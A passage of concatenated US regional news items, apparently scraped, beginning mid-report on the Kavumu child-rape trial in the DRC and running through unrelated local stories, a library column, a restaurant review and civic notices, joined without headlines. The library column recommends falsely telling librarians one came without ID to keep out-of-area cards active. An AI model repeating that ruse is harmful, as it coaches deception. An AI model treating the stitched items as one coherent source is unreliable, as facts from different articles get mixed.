The court found that the perpetrators belonged to a militia led by Batumike, who was ultimately stripped of his immunity in order to stand trial. Seemingly unstoppable, the group had carried out the attacks under the guidance of a traditional occult leader, who instructed them that raping young virgins and collecting their hymenal blood would protect them against injury during armed conflict with Congolese government forces.

Congolese regional lawmaker Frederic Batumike (in white shirt) and members of his militia were sentenced to life in prison for murder and the rapes of 40 young girls. Photo: PHR

As the gruesome attacks accumulated over the months and years, PHR experts worked intensively with clinicians at Panzi Hospital to gather the forensic medical findings of the assaults, categorize injuries to help establish a pattern of criminality, and document the physical and psychological evidence. When civilian courts ignored the case, PHR, along with national and international partners, made a powerful appeal for it to be taken up by a military court.

The military court prepares to deliver its verdict in the Kavumu child rape case. Photo: PHR

It was in that military court  set up as a mobile unit so that the crimes could be tried in the community where they occurred  that the impunity long enjoyed by the militia finally came to an end.

Having failed to derail the proceedings on technicalities during the almost three-week trial, Batumike and his 19 codefendants stood in a packed courtroom amidst heavy security, with two UN armored personnel carriers parked outside, to hear the judgment. Village residents filled the benches, including families of survivors, many of whom said that  before this day  they had almost lost hope for justice.

As the defendants stood, eleven, including Batumike, were given life sentences for crimes against humanity by rape and murder; three others were acquitted of rape, with two of those men facing sentences on other charges. Six other men who had stood trial were acquitted of charges of belonging to an armed group.

The court also awarded reparations of US $5,000 to each of the survivors of the attacks.

Residents of Kavumu, including families of the survivors, packed the courtroom to hear the verdict in the child rape case which terrorized the village in eastern DRC for three years. Many said that, before this day, they had almost lost hope for justice. Photo: PHR

This verdict gives hope to the multitudes of silent and traumatized victims who have not dared to speak out because they had no faith in our justice system, Dr. Denis Mukwege, who founded and has led Panzi Hospital in treating tens of thousands of survivors of sexual violence, said in a statement. This Kavumu trial is a strong message to political leaders at all levels who maintain militias. Militias that kill and rape civilians, attack Congolese armed forces and United Nations forces. Militias who commit war crimes and crimes against humanity. The message is clear: Sooner or later, justice will win.

PHR and its partners urged that survivors and witnesses be granted full identity protection when providing testimony, including head-to-toe covering and the use of voice modification technology. Photos: PHR

Just two days earlier, 12 parents of the young victims had taken the stand to describe the devastation the attacks had caused to their daughters and families. Following technical support and urging from PHR and its partners, the prosecution successfully requested that the court allow witnesses to testify behind a privacy screen, their bodies covered head to toe and their voices disguised with voice modification technology provided by PHR to shield their identities. After a child survivor broke down, sobbing, as discussion of her case began, the court allowed the children to be excused from testifying, as had been urged by PHR and partners.

The office of the UNs Special Representative of the Secretary-General on Sexual Violence in Conflict, which had urged DRC authorities to move the case forward, said the verdict by the military court was a significant step forward in ending impunity for sexual violence in the Congo. But it warned that in order for justice to be fully served, the reparations awarded to the child survivors must be paid and the sentences against the perpetrators carried out.

Following urging from PHR and its partners, prosecutors secured the courts approval to protect witnesses identities by allowing them to testify behind a privacy screen. Photo: PHR

This trial truly was groundbreaking for the justice process in the Democratic Republic of the Congo, said PHRs Naimer. A sitting member of parliament, stripped of his immunity, was found guilty of crimes that he and his armed militia (which he controlled and financed) committed; the medical and legal evidence was comprehensive and compelling; the court took innovative steps to ensure the security and protection of victims and witnesses by shielding their identity in court and ensuring they would not testify in public sessions; and there was remarkable collaboration among medical and legal professionals, local, national, and international NGOs, and government officials.

Karen Naimer, director of PHRs Program on Sexual Violence in Conflict Zones, speaks with Panzi Hospitals Dr. Desire Alumeti, a pediatric surgeon who has treated many of the child rape survivors from Kavumu. Photo: PHR

For the doctors and nurses who had the grim task of caring for the young survivors, and healing their battered bodies and minds, the verdict was an extraordinary vindication. Sometimes I felt depressed, but the courage of others was an antidepressant for me, said Panzis Dr. Alumeti. I salute the solidarity that was created around these children  together, we were unstoppable.

The trailblazing case came together through the efforts of a Justice Task Force comprised of PHR, Panzi Hospital, the NGO TRIAL International, numerous Congolese civil society groups, and the Joint Human Rights Office of MONUSCO, which along with the FARDC (Congolese military) provided protection in the face of persistent security threats to survivors, their families, and witnesses throughout the investigation and during the trial. The important collaboration among so many key partners and stakeholders helped to ensure the case could progress in an effective and coordinated way.

Residents of the Congolese village of Kavumu. Survivors of the three-year scourge of child rapes, their families, and witnesses in the case have faced persistent security threats which will need to be addressed in the wake of the historic verdict against the childrens attackers. Photo: PHR

Damages in sexual violence cases are virtually never enforced in the DRC, and Naimer noted that vigorous advocacy will be needed in order to ensure that the reparations are properly implemented. It is also critical to address ongoing threats and risks to survivors, their families, and witnesses and to ensure that they can feel safe in their community without fear of reprisal.

We need to ensure that this successful verdict is not an isolated event, but a model for how sexual violence cases can be prosecuted in the DRC going forward  so that it becomes the rule and not the exception, she said.

Susannah Sirkin, PHRs director of international policy and partnerships, said the cases outcome demonstrates the potential for justice when political will is joined to a mobilized civil society and the technical training to produce unassailable, incontrovertible evidence.

This historic victory for justice in the Congo is a result of the incredible dedication and perseverance of the medical, police, legal, and justice professionals on the ground, and the exceptional courage of the survivors and their families in coming forward. This verdict shows that with determination and solid evidence, even the most powerful people can be held to account for their crimes.
Kathleen Moore reporter - Health care, Moreau, Queensbury, South Glens Falls Follow Kathleen Moore Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

I love libraries. I have kept a card to the Albany system even though I moved away more than 10 years ago. I still have cards for the town library system in Farmington, Maine, where I went to college, and Meredith, New Hampshire, where my grandparents had a house.

The trick to still using these cards is to use them at least once a year and, every single time, walk up to the desk without a purse and claim that you walked to the library without your ID. They will tell you they must check your address next time.

I was delighted to discover I did not need such subterfuge to use the stellar Crandall Library. Consider this my love letter to that beautiful, useful and most excellent place.

The selection of books is slightly smaller than my home system (Schenectady County), but surely it can be forgiven  my home system has nine libraries.

In all other ways it is by far the best.

First, it is so easy to use its website that I now use it for all book searches. I can request books to be sent to my home system from other libraries if Crandall doesnt have them  and its so much easier to request them from the Crandall website that I prefer to use it. You can even register for classes online.

If I return a book late, I can pay my fine with my debit card from their machines. In Schenectady, they have one machine that takes cards now. Its new. It only works if a librarian literally unlocks the back of the machine and holds some part of it together while you swipe your card. Im not kidding. It took three librarians and about 15 minutes for me to try to pay a fine there recently. I gave up and paid it at Crandall.

They have a multitude of programs  so many fabulous toddler programs that on two occasions, my wife has actually brought our daughter there from Schenectady. I love this because I can have lunch with my family and Katie Beth can visit my office, which is especially great for special events held here for employees' children. I am not sure how the library feels about it, though  they have so much demand for some preschool programs that they limit the number anyone is allowed to do in one week. Last summer I registered for a preschool acting program in the first three minutes that registration was open...and Katie Beth was waitlisted.

There are many compelling programs for every other age, too. Im constantly running in there to grab a book and stumbling across a program that makes me desperately want to stay.

There is an art gallery and a museum in the basement. Outside, there are three PokeStops. And Monday through Thursday, they are blessedly open until 9 p.m.

If you cant find anything there to do, see or read, you arent really looking.
Michael Goot night and weekend editor Follow Michael Goot Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today

Gov. Andrew Cuomo on Monday proposed linking state aid for local governments to continuation of the county wide shared services panels.

These groups have been meeting a couple of times a year to discuss ways that different communities within a county can save money. The state is going to provide $225 million to match the savings from the county wide shared services initiative.

Cuomo rolled out these ideas as his sixth proposal ahead of the 2018 State of the State. He is trying to soften what is likely to be a blow for New Yorkers in the federal tax reform bill that just passed the House minutes ago. The bill would cap at $10,000 the amount of state and local taxes that taxpayers are allowed to deduct from their federal income taxes.

In a headline on the release, Cuomo states that the typical taxpayer pays 2.5 times more in local property taxes than income taxes. It cites the fact that Westchester, Nassau and Rockland counties are among the five counties with the highest property taxes in the nation.

Earlier versions of the legislation had proposed doing away with the exemption entirely, which would have hurt communities across the state. The impact would be more limited to high-tax counties such as the ones mentioned by Cuomo.

The rest of the release talks up the property tax cap, tax freeze and rebate checks.

The proposal says nothing about controlling state spending or lowering state income taxes.

In a move that could help governments locally, Cuomo on Monday also proposed easing health care regulations to allow local governments to band together to create a larger pool to increase buying power. Cuomo cited the fact that employment benefit costs for local governments have increased at an average of 5.2 percent per year and now account for 20 percent of local government spending.
QUEENSBURY  A Warren County jury deliberated about 2 1/2 hours before finding a Florida man guilty Tuesday of numerous charges for two attacks on a woman he knew.

Scott G. Baber, 52, of Port Charlotte, was found guilty of felony assault and strangulation, misdemeanor assault and noncriminal harassment for a series of attacks on a woman he was involved with last June.

The jury verdict came after a trial last week and early this week, which focused on injuries the victim suffered while she was with Baber in Lake George.

He was in the area to work for the summer and she reported he beat and choked her during two attacks five days apart.

Baber testified during the trial, denying that he harmed the woman. But Warren County Assistant District Attorney Travis Brown caught him in numerous inconsistencies as to his actions beforehand, including threats and abusive comments he made to her, some of which were audio recorded.

Acting Warren County District Attorney Jason Carusone praised the work of Brown and the county Sheriff's Office in finding witnesses that helped prove the case against Baber.

Baber was represented by the Warren County Public Defender's Office, which had no comment on the matter Tuesday.

He faces up to 7 years in state prison on each felony charge when sentenced Jan. 5.
Gov. Andrew Cuomo announced Tuesday he will ask the Federal Surface Transportation Board to halt Saratoga & North Creek Railways ongoing stockpiling of tanker rail cars in the Adirondacks.

The federal agency oversees railroads. Cuomo and Basil Seggos, commissioner of the state Department of Environmental Conservation, announced the plan as part of Cuomos ongoing release of proposals to be made in his annual state-of-the-state address next month. Cuomos office said the DEC had initially opposed use of the line north of North Creek when SNCR sought to use it again in 2012.

SNCR has brought an estimated 80 or so tanker cars to its line north of North Creek for indefinite storage in recent months, drawing protests from environmental groups and others who believe the cars should not be stored in the state Forest Preserve.

The company has said it may bring in hundreds more, needing the revenue to pay for rail line maintenance, and that its actions are within its rights as a railroad.

The Adirondack Park is home to some of the worlds most pristine forest lands, which powers its tourism economy, and we will not stand by and allow it to be used as a commercial dumping ground, Cuomo said in a news release. New York is prepared to exhaust all legal options to end this practice once and for all, and to help ensure the natural resources of the North Country are protected from blight and from harm.

The Department of Environmental Conservation plans to file a petition for waivers and exemptions with the federal Surface Transportation Board to support the states filing of an application for adverse abandonment of the rail line.

In addition, the state is asking Berkshire Hathaway, owners of the Union Tank Car Co., which owns the cars being stored, to stop sending cars to the region to protect one of the nations greatest natural treasures.

In the letter, the DEC demands that Saratoga & North Creek Railway immediately cease and desist receiving and storing railcars on the Tahawus Branch and remove railcars already stored there, until a decision regarding this application is made by the federal Surface Transportation Board.

All state-owned land within the Adirondack Park is Forest Preserve land and is kept protected. It is supposed to be kept forever wild in recognition of the importance of preserving and protecting its irreplaceable aesthetic beauty and natural resources, according to Cuomos office.

We urge the Surface Transportation Board to act quickly and allow New York to put a stop to this ill-conceived plan to mothball unused railcars in the middle of an American treasure, Seggos said.

Ed Ellis, president of Iowa Pacific Holdings, SNCRs parent company, could not be reached for comment Tuesday afternoon.

The tanker cars, many adorned with graffiti, have been parked in Minerva.

Minerva Supervisor Steve McNally on Tuesday called the move by Cuomo wonderful. He said storing the cars was driven by money with no benefits to the local people.

We appreciate the governor stepping in to take action on this. Its a huge local issue for us, he said.

SNCR has a contract for freight and tourist trains with Warren County and the town of Corinth, as the municipalities own the rail line between Saratoga Springs and North Creek, but the company has struggled financially since it took over operations in 2011.

The rail company purchased the line north of North Creek itself, as the line had not been in use for decades after mines in the town of Newcomb closed in the late 1980s.

A number of Warren County supervisors called for state action to halt the tanker storage after SNCR announced the plan over the summer.

Im grateful that Gov. Cuomo has taken seriously the problem of the rail cars being stored in the Adirondacks and am very excited to hear of the states plan for legal action, said Glens Falls 3rd Ward Supervisor Claudia Braymer, a lawyer who specializes in environmental issues.

The DEC originally objected to Iowa Pacifics application for the railway to resume these operations, according to Cuomos office.

However, Iowa Pacific emphasized the employment, environmental and energy benefits that would be created through the operation of a freight line and committed that in the event it sought to discontinue service, upon abandonment it would designate the railroad right of way for use as a trail under the terms and conditions of the National Trails Act.

Iowa Pacific also agreed to allow the use of snowmobiles on its right of way during the winter, so DEC withdrew its objections to Iowa Pacifics application to use the Tahawus Branch for freight. However, Iowa Pacifics operations have never satisfied these objectives nor has the company fulfilled its commitment to provide for snowmobile use, Cuomos office said.

The DECs initial support for a freight line on the Tahawus Branch through the Forest Preserve was intended to provide an environmentally sound alternative to truck traffic, help economic development and increase opportunities for snowmobile use.

DEC never intended, nor agreed, that Iowa Pacific would turn the rail line into a commercial disposal site, the state news release read.
LAKE GEORGE  The former clerk-treasurer for South Glens Falls who came under criticism in two state audits for her handling of the villages budgets has been hired as the new treasurer for the village of Lake George.

The Lake George Village Board on Monday approved hiring Dannae Bock at a salary of $45,000.

Bock is replacing Darlene Gunther, who is retiring on Jan. 30 after two decades in the position.

Mayor Robert Blais said the village conducted an extensive search for Gunthers replacement and received several applications, including four from people who were currently employed as clerk-treasurers and one woman who worked in the state Comptrollers Office.

We had several very qualified applications to consider, he said.

Blais said the village decided to offer the position to Bock, who had been clerk-treasurer for South Glens Falls for 17 years.

Shes prepared to start work Jan. 3, which will give Darlene a good month to work with her, she said.

Bocks tenure in South Glens Falls came to an end in October after a turbulent couple of years.

Two state audits criticized Bock for deliberately underestimating revenues and overestimating expenditures each year to ensure the budgets would balance.

A 2014 audit said the village had put together budgets that called for spending more money than it had in savings. Luckily, the village did not tap that much from its fund balance. A 2016 audit said the village did not correct many of these practices from the first audit, and the budgets called for spending more money than actually was in savings for at least six years in a row.

When former Mayor Joe Orlow took over in 2013, he did not realize the numbers were inaccurate and mistakenly thought he had money to spend. The village drained its savings and almost went into a deficit.

Bock has said previously that the mayor and board approved these budgets.

Mayor Harry Gutheil declined to reappoint Bock, but she asked him to fire her at a meeting in April. When the mayor refused, she walked out of a meeting and did not return to work for three weeks, calling in sick and using some scheduled vacation days.

Bocks employment ended when the South Glens Falls Village Board in October appointed Shannon Kelleher to the position.

When asked about Bocks tenure in South Glens Falls, Blais said, We know all that.

She gave us the trustees as references and I took the time to call all the trustees and they all recommended her, he said.

Blais added that he also spoke to the previous mayors Bock had served under  Robert Phinney, Keith Donohue and Orlow.

Blais said he also called Gutheil, but didnt hear back.

Gunther had served as clerk-treasurer. The village is separating the positions, however.

We are waiting for the approval from the civil service to split the positions. As near as we know, theyve never turned down anyone, he said.

Bock received a provisional appointment, which runs through March 31, 2019  the same as Blais current term.

Gunther had been clerk-treasurer since 1997.

Blais thanked Gunther for her tenure. He said she does not want any party or formal recognition. She was not at Mondays meeting because she was on vacation in Georgia with her grandchildren, according to the mayor.
Congresswoman Elise Stefanik, R-Willsboro, voted against the Tax Cuts and Jobs Act on Tuesday afternoon, joining 11 other House Republicans and 191 Democrats opposed to the legislation.

On Monday afternoon, Stefanik told her Facebook followers that while she supports comprehensive tax reform, this bill did not provide enough relief for North Country families and businesses.

I will be voting NO tomorrow on the final tax reform bill, Stefanik posted on Facebook. While progress has been made during the conference committee, the final bill does not adequately protect the state and local tax deduction that so many in our district and across New York rely on ... New York is one of the highest taxed states in the country, and families here rely on this important deduction to make ends meet.

The congresswoman has been opposed to the proposed changes to the tax code in its several iterations and voted no on an earlier version because of the state and local tax deduction.

I thank the many constituents across the district who have contacted my offices to share their opinions on this important legislation, Stefanik said in a press release sent out before the vote.

According to news reports late Tuesday afternoon, the House will revote on the tax legislation it passed on Tuesday because of potential procedural errors. The revote will likely be held on Wednesday.
Supervisors study airports future

Bravos to the Warren County Board of Supervisors for doing its due diligence as they try to figure out the path forward regarding the county airport. The county has gone back and forth on whether it is best to do away with the private fixed base operator (Rich Air LLC) or completely privatize it. The supervisors heard from Tim Hens, the highway superintendent in Genesee County, about its experience running their western New York airport that has led to a surplus between $90,000 and $130,000 each year.

Businesses participate in Holiday Food Drive

Bravos to the local businesses involved with the Holiday Food Drive 2017. Local businesses that agree serve as a drop-off point for food donations, then provide customers who donate food a discount for the donations. The plan is a win-win for everyone involved.

Fort Ann residents oppose new statute

Bravos to the 100 or so Fort Ann residents who showed up at a public hearing to consider a new town statute that would have put rules on corral measurements, manure disposal and wandering animals that included penalties if the codes were broken. The residents objected that the new rules were not needed. The Town Board listened and rejected the new rules in a 4-1 vote. This was democracy at work.

Gov. Cuomo signs FOIL bill into law

Bravos to Gov. Andrew Cuomo for signing into law a Freedom of Information Law reform bill that requires agencies to pay the legal fees of those who successfully challenge a FOIL denial. The new law gives FOIL more teeth than it had before while holding agencies accountable.

Rep. Stefanik should have weighed in on tweet

Boos to Rep. Elise Stefanik for failing to respond to four requests for comment after President Trump made some suggestive comments about Sen. Kirsten Gillibrand in a tweet. Stefaniks spokesman eventually released a statement, but a Post-Star reporter was told repeatedly she was too busy to talk. Considering the ongoing national discussion regarding sexual harassment, we believe this is an issue that the congresswoman should have made time for.

Empire Center files FOIL lawsuit

Bravos to The Empire Center for its plans to file a lawsuit after several Freedom of Information Law requests were ignored by the Malverne Union Free School District on Long Island. The Empire Center, through its SeeThroughNY.net database, has worked to give New Yorkers detailed information on how their tax dollars are spent. The Malverne School District ignored requests and appeals for public information. The Empire Center is being represented by the Government Justice Center, an Albany-based nonprofit. Citizens are lucky to have organizations such as these fighting for their rights.

Supervisors should be applauded for service

Bravos to Warren Countys departing supervisors Daniel Girard, Ron Vanselow, Ron Montesi, James Brock and Rachel Seeber. All have made significant contributions during their time on the board and were honored at their final county board meeting this past week. Public service is often overlooked by citizens, but these three departing public servants gave of their time and talents to make the community better.
Welcome Guest! You Are Here:
Kevin and Karen Urick are touring the Quad-Cities one meal at a time for the column Dinner for Two. The Geneseo couple love everything about food. They grow food, travel the world for food, enjoy eating all styles of food, and look forward to sharing their passion with readers! The column appears periodically in the Life section. If you know of a place you want them to review, email them at quadcitiesrestaurants@gmail.com.

-- The Cellar, 137 S. State St., Geneseo. 309-944-2177, thecellar.info.

Located on a corner in downtown Geneseo, this longtime restaurant lives up to its motto: Food Worth Traveling For ..." The Cellars supper club atmosphere is perfect for this holiday season or anytime of the year.

The Cellar has been a mainstay dining establishment for many Geneseo and area residents over the years. It has thrived for over half a century by staying true to its recipe for success: providing quality food without altering its old-fashioned charm.

The Cellar opened in 1960 in the then vacant Geneseo House Hotel, built in 1877. With construction of the new Interstate 80 beginning, brothers Bob and Stan Bestor saw an opportunity to develop the restaurant industry in Geneseo and converted the basement into the restaurant that remains today.

On Day One they hired Bob Schaefer as their chef, and he is credited with designing the menu. Very little has changed on the menu over the years, which is why The Cellar has outlasted many of the supper clubs that used to be part of the Quad-Cities scene.

In 1977, Mr. Schaefer bought the restaurant from the Bestor brothers and continued as chef and owner. In 1980, he hired a 16-year-old high school student, Scott Stetter. Mr. Stetter worked his way up from busboy and dishwasher to chef and owner after he and his wife, Shelley, bought the restaurant in 2000.

The grill is the first thing you see behind the glass wall as you descend into The Cellar, where Mr. Stetter and his staff are busy grilling entrees. He takes the time to talk to many of his repeat customers, enjoying the chance to connect with the regulars.

Most of the staff members have worked there a long time and are efficient at getting people seated and served. His hostess, Darcy, has been there for over 30 years.

Consistency begins with a good product. Mr. Stetter always has used three different purveyors, even though they are not the cheapest. All steaks are hand cut and wet aged on site. There is nothing frozen or microwaved at this establishment.

In 2015, The Cellar was selected by beef-loving Illinoisans as the winner of the Quest for Illinois Best Steak contest sponsored by the Illinois Beef Association and the Illinois Farm Bureau.

A meal at The Cellar is more than just the entree. It begins with a cup of cheese spread and a basket of crackers as soon as you are seated. A cocktail or a glass of wine from an expanded wine list sets the scene for the good food to follow.

The appetizer menu includes French onion soup, shrimp cocktail or barbecued shrimp, and pan-fried chicken livers or ribs, but The Cellar is especially known for its appetizers fried in homemade batter. You can choose from mushrooms, onion rings or cauliflower.

We always order the deep-fried fresh mushrooms that come with a side of blue cheese dressing for $7.95. They taste fresh and have a generous coating of fried goodness. The blue cheese dressing is made with a combination of three kinds of blue cheese. It is thick and perfectly spiced. We always order extra dressing so we can smother the mushrooms.

The Cellar is known for its lettuce salad. Real iceberg head lettuce is cut and served super cold and crunchy in a bowl for the table. How the staff prepares the lettuce is a secret.

In true supper club style, the lettuce is served with a carousel of dressings that include homemade Green Goddess (a fan favorite), Thousand Island and Russian. These are the three dressings that have lived in these carousels for over half a century, and there is no room for move-ins. Since ranch dressing was not popularized until the 1980s, you have to ask for it if you want it. You also can ask for the excellent creamed garlic, Italian, or oil and vinegar. For 50 cents extra, we always opt for an extra side of Roquefort.

Warm, small cinnamon rolls are always served with the salad, and a couple often are stashed in a take-home bag for a breakfast treat the next morning.

Steaks -- the filet mignon, filet tips, top sirloin and rib-eye -- are the most popular entree choices. Over the years, we have sampled most of the items on the menu. The charcoal-broiled pork ribs and chops are basted with barbecue sauce. In the fowl section, you can choose from pan-fried chicken livers, deep-fried chicken, and charcoal-broiled chicken breast and duckling.

Lobster, shrimp, salmon, walleye, orange roughy and catfish are charcoal-broiled as well. You also can order shrimp, pike or catfish deep-fried. If you find it difficult to choose, 10 combinations allow you to mix and match some of the favorites. The most popular is the 1 and 2, filet mignon and charbroiled shrimp.

The charcoal duckling, priced at $23, is half of a duck that is cooked until it falls off the bone, then is basted with orange sauce and served with warm orange sauce for dipping. It is hard to find duck on many menus, and the meaty flavor, under the crispy skin, harkens back to yesteryear.

For sides you can choose between a baked potato, steak fries, wild rice blend, vegetables or hash browns for $2.75 extra. We like the duckling with a baked potato topped with butter and sour cream.

Our other favorite is the charcoal-broiled barbecue shrimp for $21. Two skewers of shrimp are basted with barbecue sauce and served with drawn butter. They pair perfectly with hash browns that are cooked crisp on the outside and creamy on the inside.

If the large portions are too much, you can order many of the items on the menu as a half portion, which still includes all of the sides.

A perfect finish to a meal at The Cellar is to order one of the speciality hot coffees as an after-dinner drink. Each coffee is made with a different base liqueur, and you can choose from Caribbean, Irish, Danish, English, French, Greek, Israeli, Italian, Jamaican, Mexican, French, Quebecer, Roma, Spanish and Swiss. If you are in the mood for ice cream, try an ice cream drink. They include the grasshopper, pink squirrel or golden cadillac.

The Cellar has made being traditional trendy again. Reminiscent of the popular Mad Men TV drama, it appeals to all ages. The main dining area has a seating for 180, and reservations are always recommended. There is a 25-seat lounge that has a limited bar menu, and a side banquet room that seats 50 people.

The restaurant is closed on Mondays and opens at 5 p.m. Tuesdays through Sundays. It closes at 9 p.m., or 10 p.m. Fridays and Saturdays.

He said: The Cellar has been a favorite of mine throughout my life. Wherever we travel to, if we meet someone who has been to Geneseo, he or she usually mentions The Cellar. I enjoy the charcoal-broiled barbecue shrimp with the hash browns and onions -- I dip them both in the drawn butter!

She said: I enjoy the entire experience The Cellar provides, from the cheese spread to the salad, cinnamon rolls and entrees. My favorite is the charcoal-broiled duckling dipped in warm orange sauce, with a baked potato covered in butter and sour cream.
ROCK ISLAND  An Augustana College freshman died Monday in an accident in Holland, Mich., according to school officials.

Authorities said Yen Ngo, from Hanoi, Vietnam, was riding a bicycle on U.S. 31 around 8:30 p.m. Monday when she was struck by a pickup truck. Additional details have not been released.

"We are deeply saddened by the loss of one of our first-year students, who was killed in an accident while visiting a friend in Michigan," Augustana officials stated. "Augustana is a close-knit community, and we are leaning on one another during this difficult time."

A reflection ceremony for Ms. Ngo was held Tuesday afternoon in Augustana's Gerber Center. Augustana officials on Tuesday also announced that staff members are on campus to provide emotional support to students who are grieving her death.
EAST MOLINE  Mayor Reggie Freeman on Monday announced that the city has been awarded the Certificate of Achievement for Excellence in Financial Reporting by the Government Finance Officers Association of the United States and Canada for its comprehensive annual financial report.

The news release stated the Certificate of Achievement is the "highest form of recognition in the area of governmental accounting and financial reporting, and its attainment represents a significant accomplishment by a government and its management."

An Award of Financial Reporting Achievement has been awarded to Megan Petersen, director of finance.

Also at Mondays council meeting, members voted by omnibus a group of ordinances for abatement of various abatements of ad valorem taxes levied for a number of bonds and for the levying and assessment of taxes for the 2017 tax levy collectible in 2018.

After passing the omnibus motion, Ald. Gary Almblade asked for clarification because he did not understand the tax levy was included in the vote and made a motion to reconsider.

The council allowed the motion and upon revote of the omnibus motion, it passed by a vote of 52 with Alds. Almblade and Ed DeJaynes dissenting on the 8.4 percent levy.

At its committee-of-the-whole meeting, council members Nancy Mulcahey and Alissa Sallows discussed the possibility of forming an ad hoc committee to seek revenue enhancements for the city to offset anticipated losses for the coming year. Their target is to raise approximately $1 million.

As a preliminary step, Ms. Sallows reviewed neighboring communities and indicated East Moline is behind in licenses and fees compared with other municipalities. Councilman Almblade suggested that in conjunction with seeking other sources of revenue that cost reductions should also be included.

Mayor Freeman asked council members Sallows and Mulcahey to meet with City Administrator Darin Girdler and Megan Petersen to gather more information and a list of potential members and bring it to the Feb. 5 meeting.

The next council meeting is scheduled for Jan. 16. There will be only one meeting in January.
Moline Foundation announces Hazel Van Arsdale Memorial Scholarship Fund application deadline

Scholarship now offered through The Moline Foundation

December 11, 2017

The Hazel Van Arsdale Memorial Scholarship Fund was established in honor and memory of Hazel Van Arsdale to continue the importance of music in elementary and secondary education. Hazel Van Arsdale was an elementary school teacher in Moline School District No. 40 who encouraged her students to appreciate music and participate in music education and activities. One $1,000 scholarship is given to a high school senior annually who is an active participant in vocal and/or instrumental music through their education in the Moline-Coal Valley Public Schools and who plans to attend a four-year college or university with a major or minor course of study in education and/or music. This scholarship is based on financial need, potential for future personal achievement, and a brief essay. The funds will be paid directly to the educational institution. Only completed applications will be considered.

Applicants should apply online at www.molinefoundation.org. All scholarships must be submitted by midnight on Friday, March 16, 2018. All reference letters need to be mailed with a postmark on or before March 16, 2018. Reference letters should be mailed to: The Moline Foundation 1601 River Drive, Suite 210, Moline, Illinois 61265. Scholarship candidates must:

be a graduating senior of Moline High School, Moline, Illinois and an active participant in vocal and/or instrumental music.

live in the boundaries of Moline School District No. 40.

have maintained (and provide proof) of a cumulative Grade Point Average of at least 3.0 on a 4.0 scale during the first seven (7) semesters of high school.

provide proof of class rank and a transcript (including complete list of courses and grades received, rank in class, and grade point average) of seventh semester courses.

have been involved in at least one service oriented or musical activity or organization in his or her school, community or place of worship.

submit a transcript and an essay to the Selection Advisory Committee explaining your personal educational goals and why music has been important to you growing up, (200 words or less).

enroll in college on a full-time basis with a minimum of 12 hours per semester.

submit two reference letters. One of the letters must be obtained from the Department Chair of the Instrumental or Vocal Music Department at Moline High School.

All applications are on The Moline Foundation website at: www.molinefoundation.org or contact Linda Daily, ldaily@molinefoundation.org or Jen von Kaenel, jvonkaenel@molinefoundation.org or call (309)736-3800 at if you have further questions.

About The Moline Foundation

The Moline Foundation, founded in 1953, is a community foundation which provides grants to health, human services, education, community development, the arts and other charitable organizations which benefit the citizens of Moline and the surrounding area. The Moline Foundation receives and administers charitable gifts for all citizens in a seven-county region including Rock Island, Henry, Mercer, Warren, Henderson and McDonough Counties in Illinois and Scott County in Iowa.
CAMBRIDGE  Any Henry County land zoned M-1 (manufacturing) or Ag-1 may soon be eligible to accommodate a solar farm, provided special use permits are obtained.

The permits prompt public hearings on where facilities will be allowed.

Henry Countys plan/development committee moved closer Monday to a tentative ordinance guiding the development of solar farms, dealing with minimum acreage, maximum height, decommissioning, optimal siting and other factors. More work will be done.

Zoning officer Kyle Stromquist will take the committees suggestions and work on a tentative ordinance mainly for utility scale facilities of the minimum 10 acres or more, possibly limiting height to 20 feet.

Poles might be higher than 20 feet if they connect to overhead transmission lines.

Mr. Stromquist said the county m ay refrain from asking solar companies for finished site plans when reviewing special use permits, instead working with more preliminary plans.

It may be better not requiring a full site plan for a farm that may not be built, he said. I mean, I think we want to have some information.

We have developer rights and rights of the person thats already there, he added. You can look at it both ways.

Member Shawn Kendall said vegetation at the solar farm could keep erosion down and enrich the ground for the future after the farm is decommissioned.

Theres some different thoughts to that, he added.

Committee members talked about waiting a while longer than other counties to require setting aside funds to remove solar panels in 25 years or so.

Chairman Lynn Sutton said the ideal location for a solar farm is next to transmission lines, preferably underground, but Mr. Stromquist said at some point the county might just step back.

If they can prove hardship or say theyre two miles away or would directly cross a farm field  if theyre comfortable with it, are we going to tell them no if theyre comfortable with it?

Mr. Sutton agreed, reading advice from a solar energy consultants material. If I understand what I just read, if we require them to bury all lines, were not going to get a lot of play.

The county has heard that rents are as high as $800 to $1,000 per acre on solar facilities.
Quad Cities Shelter and Transitional Housing Council prepares homeless memorial for the Winter solstice.

Davenport, Iowa  December 18, 2017  The Quad Cities Shelter and Transitional Housing Council invites all Quad Cities area residents and businesses to participate in a memorial service for friends and family members who have at one time or another been homeless and who have died over the last year.

The memorial service will be held on the River Drive side of the Community Health Care parking lot. The service will begin at 7:30 a.m. on Thursday, December 21. The service will include the reading of poems and scripture, as well as a moment of silence. After the half-hour service, a vigil will be held until eleven oclock as a reminder to keep those less fortunate in the thoughts of the community during this season of celebration. This event is being held in conjunction with the Winter solstice, the longest night of the year, to bring much needed awareness to the issue of homelessness in our community.

Last year at this time more than 386 of our family, friends and neighbors were homeless in Scott County. And, we are seeing signs that the numbers will be about the same this year, said Ben Cleaveland, President of the Shelter and Transitional Housing Council. A lack of affordable housing, health crises, mental illness and other serious problems have caused Quad Citians to be in a state of need and our memorial event gives people a chance to step into their shoes, while at the same time providing some critical help. Event organizers will be accepting donations of hats, gloves, scarves, coats and blankets throughout the morning.

The Shelter and Transitional Housing Council is a collaborative effort of various social service agencies in the Quad Cities area that assist individuals and families with emergency shelter, transitional and permanent housing and supportive services.
Jason T. Lehman, 42, of Pahrump, Nevada, was found with the cannabis and 12 pounds of hashish during a 2010 traffic stop. He was found guilty in 2013, but the appellate court overturned the trafficking conviction two years later. A remaining delivery charge carried the six-year minimum. He also has a $618,000 street value fine, which was reduced to judgment, meaning the county wont bring him back to court regularly for it. He failed to appear for sentencing in September.
Who's afraid of Trumpism-Bannonism? The noxious stew of nativism, xenophobia, misogyny, manufactured grievance and barely disguised white supremacy that put Donald Trump in the White House now appears less an all-conquering juggernaut than a paper tiger -- one that Alabamians balled up and threw in the trash.

